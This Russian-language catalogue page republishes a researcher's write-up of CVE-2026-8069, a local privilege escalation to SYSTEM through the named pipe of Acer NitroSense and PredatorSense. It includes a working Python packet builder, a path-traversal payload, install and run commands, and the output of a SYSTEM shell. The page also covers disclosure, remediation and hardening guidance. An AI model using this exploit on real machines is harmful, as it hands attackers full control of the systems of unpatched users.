Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-8069 — Технический разбор и proof-of-concept для CVE-2026-8069 — локального повышения привилегий в службах Acer NitroSense и PredatorSense, использующего именованный канал для выполнения произвольного кода с правами SYSTEM. | Kitploit
Инструменты/GitHubGitHub/s1eezer/cve-2026-8069
Повышение привилегийФреймворки для эксплойтовАнализ уязвимостейЭксплуатацияОбратная инженерияАнализ Бинарных Файлов
GitHubs1eezer/cve-2026-8069

CVE-2026-8069

Технический разбор и proof-of-concept для CVE-2026-8069 — локального повышения привилегий в службах Acer NitroSense и PredatorSense, использующего именованный канал для выполнения произвольного кода с правами SYSTEM.

Репозиторий
1320 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

От именованного канала Acer к NT AUTHORITY\SYSTEM: CVE-2026-8069

Acer NitroSense и PredatorSense 3.x устанавливали службу Windows под названием PSSvc, которая предоставляла локальным пользователям доступ к пользовательскому протоколу именованных каналов. Одна из команд протокола принимала управляемый вызывающей стороной путь к исполняемому файлу, дублировала токен winlogon.exe и запускала этот исполняемый файл от имени NT AUTHORITY\SYSTEM.

Ограничение пути в уязвимой службе представляло собой проверку подстроки. Путь, начинавшийся внутри каталога службы и затем использующий компоненты ..\, проходил проверку, но разрешался в другое место. В сочетании с разрешающим контролем доступа к каналу и отсутствием авторизации вызывающей стороны это позволяло обычному локальному пользователю получить процесс SYSTEM.

Acer присвоил CVE-2026-8069, опубликовал исправленные версии и указал Артема Домарева из Университета Градец-Кралове в своем уведомлении о безопасности.

Эта статья посвящена пути создания процесса/повышения привилегий (LPE). В уведомлении Acer также описывается произвольное удаление файлов, которое не входило в рамки данной проверки.

Почему я выбрал это направление исследований

На выбор направления исследований также повлиял публичный анализ OEM-программного обеспечения, опубликованный Леоном Джейкобсом из SensePost. В этой работе были задокументированы уязвимости в ASUS DriverHub, MSI Center, Acer Control Centre и Razer Synapse 4 (Jacobs, 2025). Это подтвердило идею о том, что поставляемые вендором аппаратные утилиты могут предоставлять значимую и недостаточно изученную поверхность атаки. Вместо повторного исследования Acer Control Centre я расширил исследование на другое семейство продуктов Acer: NitroSense и PredatorSense.

Краткое резюме

Цепочка эксплуатации коротка:

root@kitploit:~
аутентифицированный локальный пользователь
        │
        ▼
разрешающий именованный канал PSSvc
        │  пользовательская команда 0x0007
        ▼
проверка пути только по подстроке
        │  service-dir\..\..\..\Windows\System32\cmd.exe
        ▼
дублирование токена winlogon.exe активного сеанса
        │
        ▼
CreateProcessAsUserW → NT AUTHORITY\SYSTEM

Предупреждение о номерах версий

В публичных формулировках есть несоответствие. На странице Acer указано, что уязвимы версии NitroSense «до 3.01.3052», однако подписанная вендором версия PSSvc.exe 3.1.3052.0, протестированная для этой статьи, очевидно уязвима. На той же странице NitroSense 3.01.3056 указан как исправленная версия. Диапазон применимости NVD также распространяется вплоть до 3.01.3056, но не включая её.

Для PredatorSense предложение Acer об уязвимых версиях заканчивается перед 3.00.3196, тогда как указанная исправленная версия — 3.00.3198, и NVD использует последнюю в качестве верхней границы.

Поэтому консервативное операционное правило простое: не используйте неоднозначное предложение об «уязвимых» версиях как проверку наличия исправления. Обновитесь как минимум до исправленных версий, указанных Acer — PredatorSense 3.00.3198 или NitroSense 3.01.3056 — или до более нового пакета, совместимого с моделью.

Протестированные артефакты

Проблема была воспроизведена с оригинальным пакетом NitroSense.

Подпись Authenticode PSSvc.exe успешно прошла проверку и связана с Acer Incorporated. MSI установил PSSvc как службу с запуском по требованию и собственным процессом, работающую от имени LocalSystem.

Как я нашёл уязвимый путь

1. Начните с привилегированной службы

Пакет NitroSense устанавливает:

root@kitploit:~
SERVICE_NAME: PSSvc
DISPLAY_NAME: Predator Service
TYPE:         WIN32_OWN_PROCESS
START_TYPE:   DEMAND_START
ACCOUNT:      LocalSystem

Служба SYSTEM не является автоматически уязвимой. Важный вопрос заключается в том, может ли процесс с более низкими привилегиями получить доступ к функциональности, которая была разработана в предположении, что её вызывающая сторона доверена.

Анализ строк сразу выявил конечную точку IPC:

root@kitploit:~
\\.\pipe\predatorsense_service_namedpipe

2. Проверьте дескриптор безопасности именованного канала

По адресу 0x140014AD0 служба создаёт канал и передаёт явный дескриптор безопасности в CreateNamedPipeW:

root@kitploit:~
D:(A;OICI;GA;;;BG)(D;OICI;GA;;;AN)(A;OICI;GRGWGX;;;AU)(A;OICI;GA;;;BA)

Это стоит явно уточнить: уязвимая сборка не передаёт NULL-дескриптор. Она создаёт разрешающий DACL.

ACE AU достаточно, чтобы обычный аутентифицированный пользователь мог открыть канал для чтения и записи. Затем сервер не олицетворяет клиента и не выполняет решение об авторизации перед отправкой привилегированных команд.

3. Восстановите формат провода

Поток клиента по адресу 0x14000ABB0 считывает сообщения в буфер размером 512 байт. Он разбирает первые три байта как 16-битный номер команды и 8-битное количество аргументов. Каждый аргумент имеет префикс длины:

root@kitploit:~
Смещение  Размер  Значение
0x00      2       идентификатор команды, little-endian
0x02      1       количество аргументов
0x03      4       длина аргумента 0
0x07      n       байты аргумента 0
...               повторяющаяся длина DWORD + значение

Строковые аргументы — UTF-16LE. Целочисленные аргументы — DWORD в little-endian. Диспетчер принимает идентификаторы команд ниже 0x23 и использует их как индексы в таблице функций из 35 записей по адресу 0x140052C90.

Запись для команды 0x0007 указывает на 0x14000BFD0.

4. Проследите команду 0x0007

В сокращённом виде, с точки зрения безопасности, обработчик выглядит так:

root@kitploit:~
int command_07(parsed_arguments *args)
{
    wchar_t service_directory[MAX_PATH];
    wchar_t *requested_path = args->wide_string[0];
    uint32_t mode = args->dword[1];

    GetModuleFileNameW(NULL, service_directory, MAX_PATH);
    PathRemoveFileSpecW(service_directory);

    if (wcsstr(requested_path, service_directory) != NULL)
        return launch_with_selected_token(requested_path, mode);

    return 0;
}

wcsstr отвечает только на вопрос, встречается ли одна строка внутри другой. Он не канонизирует путь, не разрешает сегменты с точками, не открывает файл и не доказывает, что конечный объект остаётся в доверенном каталоге.

Предположим, служба установлена в:

root@kitploit:~
C:\Program Files\Acer\NitroSense_Service

Следующий путь содержит этот каталог со смещения ноль, поэтому wcsstr завершается успешно:

root@kitploit:~
C:\Program Files\Acer\NitroSense_Service\..\..\..\WINDOWS\System32\cmd.exe

Windows разрешает сегменты с точками в:

root@kitploit:~
C:\WINDOWS\System32\cmd.exe

Это классическая ошибка канонизации: проверка выполняется над одним текстовым представлением, тогда как чувствительная операция использует его нормализованное значение.

5. Проследите ветвь токена

Вспомогательная функция запуска процесса по адресу 0x1400091F0 имеет специальную ветвь, когда второй аргумент равен 0x72 (десятичное 114). Она:

  1. получает идентификатор активного консольного сеанса;
  2. запрашивает токен активного пользователя и создаёт блок окружения;
  3. перечисляет процессы с помощью CreateToolhelp32Snapshot;
  4. находит winlogon.exe в активном сеансе;
  5. открывает процесс и его токен;
  6. дублирует токен как первичный токен;
  7. устанавливает дублированному токену высокий уровень целостности; и
  8. запускает предоставленный вызывающей стороной путь на winsta0\default.

Критические точки вызова в протестированном двоичном файле:

Это означает, что команда 0x0007 — это не просто запрос к службе запустить один из её собственных доверенных инструментов. Она предоставляет общий запускатель процессов с токеном SYSTEM через канал, к которому имеют доступ обычные пользователи.

Создание PoC

Основной конструктор пакетов небольшой:

root@kitploit:~
import struct

def build_packet(command_id, *arguments):
    packet = struct.pack("<HB", command_id, len(arguments))
    for argument in arguments:
        if isinstance(argument, str):
            argument = argument.encode("utf-16-le")
        elif isinstance(argument, int):
            argument = struct.pack("<I", argument)
        packet += struct.pack("<I", len(argument)) + argument
    return packet

service_dir = r"C:\Program Files\Acer\NitroSense_Service"
target = service_dir + r"\..\..\..\WINDOWS\System32\cmd.exe"

# Обработчик ожидает путь, режим токена и восемь дополнительных слотов.
packet = build_packet(0x0007, target, 0x72, *([b"\x00" * 4] * 8))

Полный скрипт проверки открывает канал с помощью CreateFileW, устанавливает режим сообщений, отправляет этот пакет и декодирует ответ службы. Он обнаруживает установленный путь службы вместо его жёсткого кодирования и проверяет нормализованную цель перед отправкой чего-либо.

Полный скрипт, использованный для этой статьи, доступен как acer_cve_2026_8069_poc.py.

Воспроизведение

Шаг 1: Установите уязвимую сборку

Setup.exe вендора выполняет проверки оборудования и предоставляет закрытые свойства MSI. Я извлёк NitroSense.msi и восстановил эти свойства из загрузчика .NET:

root@kitploit:~
$arguments = @(
  '/i', 'C:\Lab\NitroSense.msi',
  'BOOTSTRATOR=1', 'ISDT=0', 'RGBKB=0', 'ICPU=0',
  'BRAND=0', 'ACER=1', 'BRANDNAME=Acer',
  'GPRODUCTNAME=NitroSense_Service',
  '/qn', '/norestart',
  '/l*v', 'C:\Lab\install.log'
)

Start-Process msiexec.exe -ArgumentList $arguments -Wait

Эти свойства воспроизводят путь установки загрузчика на оборудовании, которое не проходит его проверки окружения.

После установки я проверил версию файла, SHA-256 и подпись, затем запустил службу с запуском по требованию:

root@kitploit:~
sc.exe qc PSSvc
sc.exe start PSSvc

Шаг 2: Используйте стандартную локальную учётную запись

Запрос был отправлен со стандартной, не административной локальной учётной записи, работающей со средним уровнем целостности.

Шаг 3: Запустите команду 0x0007

С этой учётной записи:

root@kitploit:~
py .\acer_cve_2026_8069_poc.py --exec-test --target cmd.exe

Служба вернула:

root@kitploit:~
[PASS] Connected
[INFO] Sending CMD 0x0007: path='cmd.exe', mode=0x72
       Packet size: 227 bytes

Raw response: 010400000001000000
Return code: 1

[CRITICAL] PROCESS CREATED SUCCESSFULLY

Шаг 4: Проверьте независимо

Сообщение об успехе PoC само по себе не является доказательством. Я независимо запросил результирующий процесс из административного канала сбора доказательств:

root@kitploit:~
Parent      : PSSvc.exe
Session     : Interactive
Owner       : NT AUTHORITY\SYSTEM
CommandLine : "C:\Program Files\Acer\NitroSense_Service\..\..\..\WINDOWS\System32\cmd.exe"

Оболочка SYSTEM была прямым дочерним процессом PSSvc.exe в интерактивном сеансе, с сохранённым путём обхода в её командной строке.

Я также проследил API службы во время успешного запроса. Трассировка зафиксировала активный сеанс 1, успешный WTSQueryUserToken, снимок процессов, OpenProcess для winlogon.exe сеанса, успешный DuplicateTokenEx, изменение токена целостности и успешное возвращение из вспомогательной функции запуска процесса.

Оригинальная запись PoC показывает cmd.exe, принадлежащий NT AUTHORITY SYSTEM, и whoami, возвращающий nt authority\system.

Запись PoC, показывающая оболочку SYSTEM.

Корневая причина

Это была не одна изолированная плохая проверка. Для эксплуатации требовалось совпадение нескольких ошибок доверия:

  1. DACL канала разрешал аутентифицированным пользователям чтение и запись.
  2. Сервер принимал пользовательскую привилегированную команду без аутентификации или авторизации клиента.
  3. Список разрешённых исполняемых файлов был реализован с помощью wcsstr, а не канонической проверки пути.
  4. Команда предоставляла доступ к коду, который намеренно дублировал высокопривилегированный токен winlogon.exe.
  5. Вызывающая сторона контролировала путь приложения, в конечном итоге передаваемый в создание процесса.

Удаление любого из последних четырёх звеньев предотвратило бы этот путь LPE. Защита в глубину должна устранить все из них.

Рекомендации по устранению

Поддерживаемое Acer устранение — обновление до PredatorSense 3.00.3198, NitroSense 3.01.3056 или более поздних версий. Используйте пакет, который Acer предлагает для серийного номера или SNID машины, как описано в уведомлении вендора.

Для разработчиков привилегированных служб Windows более широкие уроки таковы:

  • Предоставьте каналу максимально узкий практический ACL — обычно специфичные для службы субъекты, SYSTEM и администраторы, — а не всем аутентифицированным пользователям.
  • Аутентифицируйте каждого клиента и авторизуйте каждую команду. Сам по себе доступ к каналу не является решением об авторизации.
  • Олицетворяйте клиента канала при оценке того, кто запрашивает, затем применяйте документированную политику.
  • Канонизируйте и разрешайте путь перед проверкой. Сравнивайте компоненты пути с правильными правилами границ и регистра и учитывайте точки повторной обработки и ссылки.
  • Предпочитайте список разрешённых неизменяемых идентичностей исполняемых файлов пути, управляемому вызывающей стороной.
  • Не предоставляйте дублирование токенов или произвольное создание процессов через универсальный локальный диспетчер IPC.
  • Регистрируйте отклонённые команды и информацию о вызывающей стороне, значимую для безопасности, без записи секретов.

Хронология раскрытия

ДатаСобытие
2026-02-19Отчёт об уязвимости подготовлен и отправлен в Acer.
2026-05-08CVE-2026-8069 опубликован в экосистеме CVE/NVD.
2026Acer опубликовал своё уведомление, указал исследователя и назвал исправленные версии PredatorSense и NitroSense.
2026-08-28Независимое воспроизведение завершено для этой статьи.

Заключительные мысли

Локальные именованные каналы легко принять за доверенные границы. Они являются лишь транспортными механизмами. Когда служба SYSTEM предоставляет диспетчер команд, её ACL канала, авторизация вызывающей стороны, проверка аргументов и привилегированная реализация — всё это становится частью границы безопасности.

Здесь разрешающий канал достиг процедуры дублирования токенов, а проверка подстроки попыталась заменить проверку принадлежности пути. Результатом стал надёжный переход от обычного локального пользователя к NT AUTHORITY\SYSTEM.

Ссылки

  • Acer: Информация об уязвимости безопасности программного обеспечения PredatorSense и NitroSense v3
  • База данных уведомлений GitHub: CVE-2026-8069 / GHSA-67h9-58cf-72hp
  • NVD: CVE-2026-8069
  • CVE.org: CVE-2026-8069
  • Jacobs, L. (2025, 24 июля). Pwning ASUS DriverHub, MSI Center, Acer Control Centre and Razer Synapse 4. SensePost.

Лицензия

Статья и оригинальные исследовательские материалы лицензированы по Creative Commons Attribution 4.0 International. Исходный код PoC лицензирован по лицензии MIT. См. LICENSE.md для уточнения области действия и исключений для сторонних лиц.

Скачать инструмент
ПунктРезультат
CVECVE-2026-8069
Протестированный уязвимый компонентPSSvc.exe 3.1.3052.0, подписанный Acer Incorporated
Идентификатор службыLocalSystem
Конечная точка IPC\\.\pipe\predatorsense_service_namedpipe
Уязвимая команда0x0007
Требуемый доступ злоумышленникаАутентифицированный локальный пользователь, способный запускать программу
Взаимодействие с пользователемНет
РезультатПроизвольный исполняемый файл запускается от имени NT AUTHORITY\SYSTEM
NVD CVSS v3.17.8 High — AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Исправленные версииPredatorSense 3.00.3198; NitroSense 3.01.3056
АртефактSHA-256
NitroSense_V3.01.3052_MSFT_SIGNED_20230420.zip947FB7C62665875450AFA9C9E7919D2B061ED8197C11B28D64781F121B30C157
NitroSense.msi6F9D405B6D2ADF2992C4E071453AD2C919A6DD38A89A31EF96EAFE81C50A745C
Установленный PSSvc.exe 3.1.3052.03BA836B6A5D95B55708E771B74F49098F58B096EF1F63C5CCAE355811E193A40
PoC, использованный для проверки31BC81140BAB64A8B0CB70ACC1C2CF3CA84A7B00015E5610AC075DC50DCB0163
Сокращение SIDСубъектЭффективное разрешение в SDDL
BGВстроенные гостиПолный доступ
ANАнонимныеПолный доступ запрещён
AUАутентифицированные пользователиЧтение, запись и выполнение
BAВстроенные администраторыПолный доступ
ОперацияАдрес
CreateToolhelp32Snapshot0x140009298
OpenProcessToken0x140009346
DuplicateTokenEx0x1400093B0
CreateProcessAsUserW0x1400094BF / 0x1400094C7